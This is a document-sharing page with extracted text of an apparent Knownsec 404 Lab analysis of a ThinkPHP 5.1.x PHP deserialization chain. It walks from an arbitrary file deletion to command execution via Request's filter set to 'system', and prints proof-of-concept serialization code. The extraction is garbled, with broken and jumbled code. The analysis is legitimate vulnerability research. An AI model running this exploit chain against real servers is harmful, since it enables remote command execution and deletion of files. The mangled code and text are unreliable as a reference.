




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、Thinkphp 反序列化利用鏈深入分析作者:Ethan知道創(chuàng)宇404實(shí)驗(yàn)室 原文鏈接:/1040/ 收集整理:/test/index.php本文由 干貨1Thinkphp 反序列化利用鏈深入分析 2019年09月23日Web安全 404專欄 作者:Ethan知道創(chuàng)宇404實(shí)驗(yàn)室時(shí)間:2019年9月21日前言今年7月份,ThinkPHP 5.1.x爆出來了一個(gè)反序列化漏洞。之前沒有分析過關(guān)于ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!環(huán)境搭建Thinkphp 5.1.35php
2、7.0.12漏洞挖掘思路在剛接觸反序列化漏洞的時(shí)候,更多遇到的是在魔術(shù)方法中,因此自動(dòng)調(diào)用魔術(shù)方法而觸發(fā)漏洞。但 如果漏洞觸發(fā)代碼不在魔法函數(shù)中,而在一個(gè)類的普通方法中。并且魔法函數(shù)通過屬性(對(duì)象)調(diào)用 2Paper安全技術(shù)精粹 SearchRSS 訂閱投稿 首頁漏洞分析安全工具&安全開報(bào)分析經(jīng)驗(yàn)心得Web 安全二進(jìn)制安全移動(dòng)安全安全基礎(chǔ)&教學(xué)篇CTFIoT安全區(qū)塊鏈404 專欄專題報(bào)告 404 English Paper如何投稿歸檔文件 Copyright 404 TeamfromKnownsec.了一些函數(shù),恰巧在其他的類中有同名的函數(shù)(pop鏈)。這時(shí)候可以通過尋找相同的函數(shù)名將類的 屬
3、性和敏感函數(shù)的屬性聯(lián)系起來。 漏洞分析首先漏洞的起點(diǎn)為/thinkphp/library/think/process/pipes/Windows.php 的 destruct() destruct() 里面調(diào)用了兩個(gè)函數(shù),我們跟進(jìn)removeFiles() 函數(shù)。 3classWindowsextends Pipesprivate $files = ;.private function removeFiles()foreach ($this-files as $filename) if (file_exists($filename) unlink($filename);$this-files
4、= ;.這里使用了$this-files ,而且這里的$files 是可控的。所以存在一個(gè)任意文件刪除的漏洞。 POC可以這樣構(gòu)造:4namespace thinkprocesspipes;class Pipesclass Windows extends Pipesprivate $files = ;public function construct()$this-files=需要?jiǎng)h除文件的路徑;echo base64_encode(serialize(new Windows();這里只需要一個(gè)反序列化漏洞的觸發(fā)點(diǎn),便可以實(shí)現(xiàn)任意文件刪除。 在removeFiles() 中使用了file_ex
5、ists 對(duì)$filename 進(jìn)行了處理。我們進(jìn)入file_exists 函數(shù)可以知 道, $filename 會(huì)被作為字符串處理。 而 toString 當(dāng)一個(gè)對(duì)象被反序列化后又被當(dāng)做字符串使用時(shí)會(huì)被觸發(fā),我們通過傳入一個(gè)對(duì)象來觸 5發(fā) toString 方法。我們?nèi)炙阉?toString 方法。 我們跟進(jìn)thinkphplibrarythinkmodelconcernConversion.php 的Conversion類的第224行,這里調(diào)用了 一個(gè)toJson() 方法。 .public function toString()return $this-toJson();.跟進(jìn)toJs
6、on() 方法6.public function toJson($options = JSON_UNESCAPED_UNICODE)return json_encode($this-toArray(),$options);.繼續(xù)跟進(jìn)toArray() 方法public function toArray()$item= ;$visible = ;$hidden= ;./ 追加屬性(必須定義獲取器) if (!empty($this-append) foreach ($this-append as $key = $name) if (is_array($name) / 追加關(guān)聯(lián)對(duì)象屬性 $rela
7、tion = $this-getRelation($key);if (!$relation) $relation = $this-getAttr($key);$relation-visible($name);.我們需要在toArray() 函數(shù)中尋找一個(gè)滿足$可控變量-方法(參數(shù)可控) 的點(diǎn),首先,這里調(diào)用了一 個(gè)getRelation 方法。我們跟進(jìn)getRelation(),它位于Attribute 類中 7.public function getRelation($name = null)if (is_null($name) return $this-relation; elseif (
8、array_key_exists($name, $this-relation) return $this-relation$name;return;由于getRelation() 下面的if語句為if (!$relation) ,所以這里不用理會(huì),返回空即可。然后調(diào)用 了getAttr 方法,我們跟進(jìn)getAttr 方法 public function getAttr($name, &$item = null)try $notFound = false;$value= $this-getData($name); catch (InvalidArgumentException$e) $notFo
9、und$value=true; null;.繼續(xù)跟進(jìn)getData 方法8public function getData($name = null)if (is_null($name) return $this-data; elseif (array_key_exists($name, $this-data) return $this-data$name; elseif (array_key_exists($name, $this-relation) return $this-relation$name;通過查看getData 函數(shù)我們可以知道$relation 的值為$this-data$n
10、ame ,需要注意的一點(diǎn)是這里類的定義使用的是Trait而不是class 。自 PHP 5.4.0 起,PHP 實(shí)現(xiàn)了一種代碼復(fù)用的方法,稱為 trait。通過在類中使用use 關(guān)鍵字,聲明要組合的Trait名稱。所以,這里類的繼承要使用use 關(guān)鍵字。然后 我們需要找到一個(gè)子類同時(shí)繼承了Attribute 類和Conversion 類。 我們可以在thinkphplibrarythinkModel.php 中找到這樣一個(gè)類 abstract class Model implements JsonSerializable,ArrayAccessuse use use use usemodelc
11、oncernAttribute; modelconcernRelationShip; modelconcernModelEvent; modelconcernTimeStamp; modelconcernConversion;.我們梳理一下目前我們需要控制的變量 1.2.3.$files 位于類Windows$append 位于類Conversion$data 位于類Attribute利用鏈如下: 91011代碼執(zhí)行點(diǎn)分析我們現(xiàn)在缺少一個(gè)進(jìn)行代碼執(zhí)行的點(diǎn),在這個(gè)類中需要沒有visible 方法。并且最好存在 call 方法,因?yàn)?call一般會(huì)存在 call_user_func 和 call_
12、user_func_array ,php代碼執(zhí)行的終點(diǎn)經(jīng)常選擇這 里。我們不止一次在Thinkphp的rce中見到這兩個(gè)方法??梢栽?thinkphp/library/think/Request.php , 找到一個(gè) call函數(shù)。 call 調(diào)用不可訪問或不存在的方法時(shí)被調(diào)用。 .public function call($method, $args)if (array_key_exists($method, $this-hook) array_unshift($args, $this);return call_user_func_array($this-hook$method, $args
13、);throw new Exception(method not exists: . static:class . - . $method);.但是這里我們只能控制$args ,所以這里很難反序列化成功,但是 $hook 這里是可控的,所以我們可以構(gòu)造一個(gè)hook數(shù)組visable=method ,但是array_unshift() 向數(shù)組插入新元素時(shí)會(huì)將新數(shù)組的值將入到數(shù)組的開頭。這種情況下我們是構(gòu)造不出可用的payload的。 在Thinkphp的Request類中還有一個(gè)功能filter 功能,事實(shí)上Thinkphp多個(gè)RCE都與這個(gè)功能有關(guān)。 我們可以嘗試覆蓋filter 的方法去執(zhí)行
14、代碼。 代碼位于第1456行。12.private function filterValue(&$value, $key, $filters)$default = array_pop($filters);foreach ($filters as $filter) if (is_callable($filter) / 調(diào)用函數(shù)或者方法過濾 $value = call_user_func($filter, $value);.但這里的$value 不可控,所以我們需要找到可以控制$value 的點(diǎn)。 .public function input($data = , $name = , $defaul
15、tif (false = $name) / 獲取原始數(shù)據(jù) return $data;./ 解析過濾器 $filter = $this-getFilter($filter, $default);= null, $filter =)if (is_array($data) array_walk_recursive($data, $this, filterValue, $filter); if (version_compare(PHP_VERSION, 7.1.0, arrayReset($data); else $this-filterValue($data, $name, $filter);.13
16、但是input函數(shù)的參數(shù)不可控,所以我們還得繼續(xù)尋找可控點(diǎn)。我們繼續(xù)找一個(gè)調(diào)用input 函數(shù)的地 方。我們找到了param 函數(shù)。 public function param($name = , $default = null, $filter = ).if (true = $name) / 獲取包含文件上傳信息的數(shù)組 $file = $this-file();$data = is_array($file) ? array_merge($this-param, $file):$this-param;return $this-input($data, , $default, $filter);
17、return $this-input($this-param, $name, $default, $filter);這里仍然是不可控的,所以我們繼續(xù)找調(diào)用param 函數(shù)的地方。找到了isAjax 函數(shù) public function isAjax($ajax = false)$value= $this-server(HTTP_X_REQUESTED_WITH);$result = xmlhttprequest = strtolower($value) ? true : false;if (true = $ajax) return $result;$result=$this-param($th
18、is-configvar_ajax) ? true false;: $result;$this-mergeParam = return $result;14在isAjax 函數(shù)中,我們可以控制$this-configvar_ajax , $this-configvar_ajax 可控就意味 著param 函數(shù)中的$name 可控。param 函數(shù)中的$name 可控就意味著input函數(shù)中的$name 可控。 param 函數(shù)可以獲得$_GET 數(shù)組并賦值給$this-param 。 再回到input 函數(shù)中$data = $this-getData($data, $name);$name 的
19、值來自于$this-configvar_ajax ,我們跟進(jìn)getData 函數(shù)。 protected function getData(array $data, $name)foreach (explode(., $name) as if (isset($data$val) $data = $data$val; else return;$val)return $data;這里$data 直接等于$data$val 了 然后跟進(jìn)getFilter 函數(shù)15protected function getFilter($filter, $default)if (is_null($filter) $f
20、ilter = ; else $filter = $filter ?: $this-filter;if (is_string($filter) & false = strpos($filter,$filter = explode(, $filter); else $filter = (array) $filter;/) $filter = $default;return $filter;這里的$filter 來自于this-filter ,我們需要定義this-filter 為函數(shù)名。 我們?cè)賮砜匆幌耰nput函數(shù),有這么幾行代碼 .if (is_array($data) array_walk
21、_recursive($data,.$this, filterValue, $filter);這是一個(gè)回調(diào)函數(shù),跟進(jìn)filterValue 函數(shù)。 16private function filterValue(&$value, $key, $filters)$default = array_pop($filters);foreach ($filters as $filter) if (is_callable($filter) / 調(diào)用函數(shù)或者方法過濾 $value = call_user_func($filter, $value); elseif (is_scalar($value) if (
22、false != strpos($filter, /) / 正則過濾 if (!preg_match($filter, $value) / 匹配不成功返回默認(rèn)值 $value = $default; break;.通過分析我們可以發(fā)現(xiàn)filterValue.value 的值為第一個(gè)通過GET 請(qǐng)求的值,而filters.key 為GET 請(qǐng)求的 鍵,并且filters.filters 就等于input.filters 的值。 我們嘗試構(gòu)造payload,這里需要namespace 定義命名空間append = ethan=calc.exe,calc;$this-data = ethan=new
23、 Request();class Requestprotected $hook = ; protected $filter = system;17protected $config =/ 表單請(qǐng)求類型var_method變量 =_method,/ 表單ajax var_ajax/ 表單pjax var_pjax變量=_ajax,變量=_pjax,/ PATHINFO變量名 var_pathinfo用于兼容模式= s,/ 兼容PATH_INFO獲取pathinfo_fetch= ORIG_PATH_INFO,REDIRECT_PATH_INFO,REDIRECT_URL,/ 默認(rèn)全局過濾方法de
24、fault_filter用逗號(hào)分隔多個(gè)= ,/ 域名根,如url_domain_root=,/ HTTPS標(biāo)識(shí)https_agent_name=,/ IP獲取標(biāo)識(shí) http_agent_ip/ URL偽靜態(tài)后綴url_html_suffix=HTTP_X_REAL_IP,=html,;function construct()$this-filter = system;$this-config = var_ajax=;$this-hook = visible=$this,isAjax;namespace thinkprocesspipes;use thinkmodelconcernConversion; use thinkmodelPivot;class Windowsprivate $files = ;public function construct()$this-files=new Pivot();18namespace thinkmodel;use thinkModel;class Piv
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 會(huì)計(jì)檔案管理面臨的挑戰(zhàn)與發(fā)展趨勢(shì)分析
- 耕地保護(hù)中土地整治與土地復(fù)墾的結(jié)合
- 高粱產(chǎn)業(yè)發(fā)展現(xiàn)狀與趨勢(shì)分析
- 多元化社會(huì)支持體系對(duì)農(nóng)業(yè)人才培養(yǎng)的促進(jìn)作用
- 河北省臨城縣2024-2025學(xué)年數(shù)學(xué)八年級(jí)第一學(xué)期期末教學(xué)質(zhì)量檢測(cè)模擬試題含解析
- 山東省臨沭縣2025屆八上物理期末統(tǒng)考模擬試題含解析
- 漢服妝造館設(shè)計(jì)靈感來源探討
- 中國(guó)智慧能源產(chǎn)業(yè)中的人工智能技術(shù)應(yīng)用案例分析
- 2025年急救理論試題及答案
- 2025年公務(wù)員考試時(shí)事政治試題庫附答案(綜合卷)
- 注塑模具保養(yǎng)維修培訓(xùn)
- 商城周年慶活動(dòng)方案方案
- 2025新課標(biāo)教師培訓(xùn)
- 檢驗(yàn)科實(shí)習(xí)生培訓(xùn)
- 幼兒教育畢業(yè)論文8000字
- 土木工程結(jié)構(gòu)力學(xué)課件
- 學(xué)校國(guó)際學(xué)生管理制度
- 舊鋼板樁買賣合同范本
- 第1章 人工智能概述幻燈片
- 工程尾款減免協(xié)議書
- 基因組變異數(shù)據(jù)庫構(gòu)建-洞察闡釋
評(píng)論
0/150
提交評(píng)論